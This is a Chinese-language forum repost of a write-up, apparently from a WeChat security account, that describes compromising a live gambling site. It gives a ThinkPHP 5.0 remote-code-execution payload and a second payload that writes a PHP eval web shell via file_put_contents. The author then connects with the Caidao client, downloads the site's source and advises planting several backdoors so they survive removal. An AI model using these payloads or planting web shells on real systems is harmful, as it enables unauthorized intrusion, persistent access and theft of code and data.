搜索

[18304] 2021-03-05_实战记一次简单的BC站点getshell

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-03-05_实战记一次简单的BC站点getshell 实 战 | 记 一 次 简 单 的 B C 站 点 g e t s h e l l S q u i r r e l s   H A C K 之 道   2 0 2 1 - 0 3 - 0 5 最 近 来 了 点 任 务 ， 做 B C 站 ， 以 前 没 做 过 只 能 碰 碰 运 气 ！ 确 定 目 标 确 定 目 标 主 站 ： 通 过 旁 站 ： 信 息 收 集 信 息 收 集 通 过 信 息 收 集 发 现 是 个 t p   v 5 . 0 . 9 ， 此 版 本 存 在 t p - r c e 漏 洞 。
直 接 通 过 p a y l o a d 进 行 测 试 ， P o s t ： _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = p h p i n f o ( ) 查 找 p a y l o a d ， 直 接 打 ： P o s t ： _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = p h p i n f o ( ) 发 现 是 p h p   5 . 4 . 4 5 版 本 的 ， 直 接 尝 试 g e t s h e l l ：
发 现 s y s t e m 被 禁 用 ， 尝 试 其 他 系 统 命 令 的 也 一 样 。 查 看 p h p i n f o 中 d e s a b l e _ f u n c t i o n s 禁 用 了 那 些 函 数 。 想 办 法 怎 么 绕 过 进 行 写 马 （ 此 处 卡 了 我 半 天 ） 最 后 通 过 一 位 渗 透 小 伙 伴 ， 想 出 下 面 的 可 以 利 用 f i l e _ p u t _ c o n t e n t s 直 接 写 s h e l l ， 想 了 半 天 ， 忘 了 用 其 他 函 数 进 行 直 接 写 马 就 可 以 了 ， 并 不 需 要 非 得 利 用 s y s t e m 命 令 进 行 写 马 ， 还 是 底 层 知 识 薄 弱 啊 。 再 次 感 谢 小 伙 伴 ！
g e t s h e l l 构 造 p a y l o a d ： _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = f i l e _ p u t _ c o n t e n t s ( ' a . p h p ' , ' < ? p h p   e v a l ( $ _ P O S T [ a ] ) ? > ' ) 写 入 成 功 ， 利 用 菜 刀 连 接 。
成 功 连 接 。 查 看 权 限 ： 发 现 启 动 了 远 程 安 全 模 式 。 想 要 绕 过 ， 发 现 很 多 函 数 被 禁 用 ， 占 未 成 功 。 下 载 源 码 ：
多 部 署 一 些 后 门 ， 防 止 被 删 。 作 者 ： A d m i n x e ， 转 载 于 ： 先 知 社 区 。 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 赞 ” “ 在 看 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理